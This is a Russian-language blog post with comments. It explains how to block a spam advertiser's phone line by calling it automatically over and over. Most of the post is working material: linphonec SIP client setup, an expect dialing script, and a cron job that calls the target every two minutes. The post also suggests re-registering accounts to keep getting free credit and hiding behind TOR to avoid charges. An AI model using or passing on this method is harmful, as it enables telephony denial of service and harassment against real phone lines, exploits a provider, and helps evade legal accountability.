Изнасилование заказчиков спам-рекламы :)

В Китае (может это просто байка), с фирмами, которые используют спам-рассылки для своей рекламы, борются следующим способом. На телефон из рассылки натравливается скрипт, который постоянно названивает на телефон, указанный в рассылке. В результате на данный телефон никто не может дозвониться. В следующий раз, фирма 100 раз подумает, прежде чем заказывать подобные рассылки. Нечто аналогичное можно организовать собственными силами. Делается за 3 минуты, но эффект - потрясающий!!!

Что нам понадобится:

  1. Зарегистрировать аккаунт на sipnet.ru. При регистрации Вам на счёт положат $1. Этого хватит надооолго :)
  2. Linphonec - программный SIP телефон, работающий из консоли
  3. expect - язык сценариев, позволяюший обрабатывать выхлоп любой консольной проги и в зависимости от выхлопа, выполнять определённые действия

Идём на sipnet.ru регистрируем аккаунт. В результате получаем логин/пароль и $1 на счёт. Ставим нужные пакеты

# apt-get install linphone-nox expect

Настраиваем программный SIP телефон

# linphonec

linphonec> proxy add
Adding new proxy setup. Hit ^D to abort.
Enter proxy sip address: sip:sipnet.ru
Your identity for this proxy: sip:[ваш_логин]@sipnet.ru
Do you want to register on this proxy (yes/no): yes
Specify register expiration time in seconds (default is 600):
Expiration: 600 seconds
Specify route if needed:
No route specified.
--------------------------------------------
sip address: sip:sipnet.ru
route:
identity: sip:[ваш_логин]@sipnet.ru
register: yes
expires: 600
--------------------------------------------
Accept the above proxy configuration (yes/no) ?: yes
Proxy added.
linphonec>
Password for  [ваш_логин]on "etc.tario.ru": [ваш_пароль]

linphonec> Registration on sip:sipnet.ru successful.
linphonec> quit
Terminating...
No active call.
Registration on sip:sipnet.ru successful.
linphonec> 
#

(синим bold-ом выделено, где от вас потребуется ввести что-то)

Всё, программный SIP телефон настроен. При следующем запуске вы должны увидеть следующее.

# linphonec
Ready
Warning: video is disabled in linphonec.
linphonec> Registration on sip:sipnet.ru successful.
linphonec>

Если регистрация не проходит - смотрите настройки. Может где ошиблись с логином или паролем.

Теперь напишем скрипт, который будет вести дозвон. Для этого воспользуемся замечательным языком expect. Создадим файл следующего содержания

# cat /home/vasyapupkin/dial

#!/usr/bin/expect -f
set timeout 60
spawn linphonec
expect "Registration on sip:sipnet.ru successful."
send "call 74951234567\n"
expect "Connected."
set timeout 3
send "terminate\n"
expect "User is busy."
send "terminate\n"
send "quit\n"

Делаем скрипт исполняемым (# chmod +x /home/vasyapupkin/dial ) Суть скрипта следующая - запустить linphonec, полать туда команду call 74951234567 (7 - код страны 495 - код города 1234567 - номер телефона жертвы).

Далее, если произошёл коннект - положить трубку. Если нет коннекта - ждать дозвона тоже положить трубку.

Теперь запускаем крон и вносим туда задачу

# crontab -e

# m     h       dom     mon     dow     command
*/2     *       *       *       *       /home/vasyapupkin/dial

Перечитаем настройки крона

# /etc/init.d/cron reload

Всё. Теперь с периодичностью в 2 минуты скрипт будет набирать указанный Вами телефон и долбить фирму, заказавшую спам-рассылку. Чтоб неповадно было. Как только закончатся деньги (а за 3 секунды коннекта тратися совсем копейки), можно зарегить новый аккаунт. А чтобы не попасть под раздачу по статье "хулиганство" - можно всё завернуть через TOR-сеть. Настройка TOR описана тут

Улетно, давно искал способ

Улетно, давно искал способ "борьбы".
Кстати в Казани подобное проводиться, но только с объявлениями которые расклеивают на столбах =)

Автору мега респект!!!

Хмммм... че то не

Хмммм...
че то не работает...
попробовал позвонить иаким образом себе, вот что получилось:

linphonec> call 7**********
Contacting sip:7**********@sipnet.ru

Звонить вместо обычного номера обоненту СИПа.
Что делать?

?

Интересно, а кто платит за исходящие звонки и сколько надо делать одновременных звонков на много-линейный номер?

Больше ГЕМОРРОЯ чем результатов.

При вышеописанной настройке

При вышеописанной настройке соединение сбрасывается как только на том конце поднимают трубку. Т.е. оплата происходит только за коммутацию. Снимаются совсем копейки. При регистрации на sipnet - автоматом на счёт кладётся определённая денюжка (сипнетовская). Платит сипнет :)

Количество одновременных звонков ровняется много-линейности номера.

у меня работает так...

send "call sip:74951234567@sipnet.ru\n"

Отправить комментарий

КАПЧА
Этот вопрос задается для того, чтобы выяснить, являетесь ли Вы человеком или представляете из себя автоматическую спам-рассылку.
CAPTCHA на основе изображений
Enter the characters shown in the image.